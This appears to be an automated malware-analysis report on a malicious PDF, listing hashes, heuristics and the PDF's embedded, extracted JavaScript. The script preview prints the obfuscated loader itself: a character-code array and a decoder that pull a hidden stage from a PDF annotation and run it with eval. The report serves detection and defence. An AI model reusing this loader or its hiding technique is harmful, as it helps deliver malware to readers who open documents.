Malicious PDF — malware analysis report

Static analysis result for SHA-256 1b1c363546e7287a…

MALICIOUS

PDF

12.6 KB First seen: 2026-05-08
MD5: 7af3e682250f486e01d3841b95a23449 SHA-1: 4c35a59e455c1f0ece6da6976dd172bbd5674c64 SHA-256: 1b1c363546e7287a53d0ee36d4ae164b24adc9114111614aae9456208f93d7f9
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named 'javascript_obj0005_000.js', appears to be obfuscated, as suggested by the 'Script obfuscation indicators' heuristic. This obfuscated script is likely responsible for downloading and executing a second-stage payload from a remote source, a common technique for malware delivery. Due to the obfuscation, the exact nature of the payload and its ultimate destination could not be determined.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 916 bytes
SHA-256: f048286b2dfe205330e162117bc9e2e9406092389e25aa91660890d79cb205b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,37,39,41,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,108,41,32,59,101,118,97,108,40,115,41,59,32,115,32,61,32,39,39,59,32,122,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }